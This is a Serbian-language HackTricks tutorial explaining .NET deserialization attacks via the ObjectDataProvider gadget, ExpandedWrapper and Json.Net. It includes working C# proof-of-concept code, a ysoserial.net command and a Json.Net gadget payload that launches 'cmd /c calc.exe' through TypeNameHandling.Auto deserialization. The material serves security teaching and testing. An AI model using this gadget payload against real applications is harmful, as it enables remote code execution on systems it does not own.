9.9 KiB
Osnovna .Net deserializacija (ObjectDataProvider gadget, ExpandedWrapper i Json.Net)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ovaj post je posvećen razumevanju kako se gadget ObjectDataProvider koristi za dobijanje RCE i kako se biblioteke za serijalizaciju Json.Net i xmlSerializer mogu zloupotrebiti sa tim gadgetom.
ObjectDataProvider Gadget
Iz dokumentacije: klasa ObjectDataProvider obavija i kreira objekat koji možete koristiti kao izvor vezivanja.
Da, to je čudno objašnjenje, pa hajde da vidimo šta ova klasa ima što je tako interesantno: Ova klasa omogućava obavijanje proizvoljnog objekta, korišćenje MethodParameters za postavljanje proizvoljnih parametara, a zatim korišćenje MethodName za pozivanje proizvoljne funkcije proizvoljnog objekta deklarisanog korišćenjem proizvoljnih parametara.
Stoga, proizvoljni objekat će izvršiti funkciju sa parametrima dok se deserializuje.
Kako je to moguće
System.Windows.Data prostor imena, koji se nalazi unutar PresentationFramework.dll na C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, je mesto gde je ObjectDataProvider definisan i implementiran.
Korišćenjem dnSpy možete inspektovati kod klase koja nas zanima. Na slici ispod vidimo kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Ime metode
Kao što možete primetiti, kada je MethodName
postavljen, poziva se base.Refresh()
, hajde da pogledamo šta to radi:
U redu, hajde da nastavimo da vidimo šta radi this.BeginQuery()
. BeginQuery
je prepisan od strane ObjectDataProvider
i ovo je ono što radi:
Napomena: na kraju koda poziva se this.QueryWorke(null)
. Hajde da vidimo šta to izvršava:
Napomena: ovo nije kompletan kod funkcije QueryWorker
, ali pokazuje zanimljiv deo: Kod poziva this.InvokeMethodOnInstance(out ex);
ovo je linija gde se postavljena metoda poziva.
Ako želite da proverite da samo postavljanje MethodName** će biti izvršeno**, možete pokrenuti ovaj kod:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Napomena da je potrebno dodati kao referencu C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll kako bi se učitao System.Windows.Data
ExpandedWrapper
Koristeći prethodni exploit, biće slučajeva gde će objekat biti deserijalizovan kao ObjectDataProvider instanca (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserijalizovan koristeći GetType
). Tada, neće imati znanje o tipu objekta koji je obavijen u ObjectDataProvider instanci (Process
na primer). Možete pronaći više informacija o DotNetNuke vuln ovde.
Ova klasa omogućava da se odrede tipovi objekata objekata koji su enkapsulirani u datoj instanci. Dakle, ova klasa se može koristiti za enkapsulaciju izvornog objekta (ObjectDataProvider) u novi tip objekta i pružanje svojstava koja su nam potrebna (ObjectDataProvider.MethodName i ObjectDataProvider.MethodParameters).
Ovo je veoma korisno za slučajeve kao što je onaj predstavljen ranije, jer ćemo moći da obavijemo _ObjectDataProvider** unutar **ExpandedWrapper _ instance i kada se deserijalizuje ova klasa će kreirati OjectDataProvider objekat koji će izvršiti funkciju naznačenu u MethodName.
Možete proveriti ovaj wrapper sa sledećim kodom:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Na službenoj veb stranici je navedeno da ova biblioteka omogućava serijalizaciju i deserializaciju bilo kog .NET objekta uz pomoć moćnog JSON serijalizatora Json.NET. Dakle, ako bismo mogli deserijalizovati ObjectDataProvider gadget, mogli bismo izazvati RCE samo deserializovanjem objekta.
Json.Net primer
Prvo, hajde da vidimo primer kako da serijalizujemo/deserijalizujemo objekat koristeći ovu biblioteku:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Zloupotreba Json.Net
Koristeći ysoserial.net kreirao sam eksploataciju:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
U ovom kodu možete testirati eksploataciju, samo ga pokrenite i videćete da se izvršava kalkulator:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.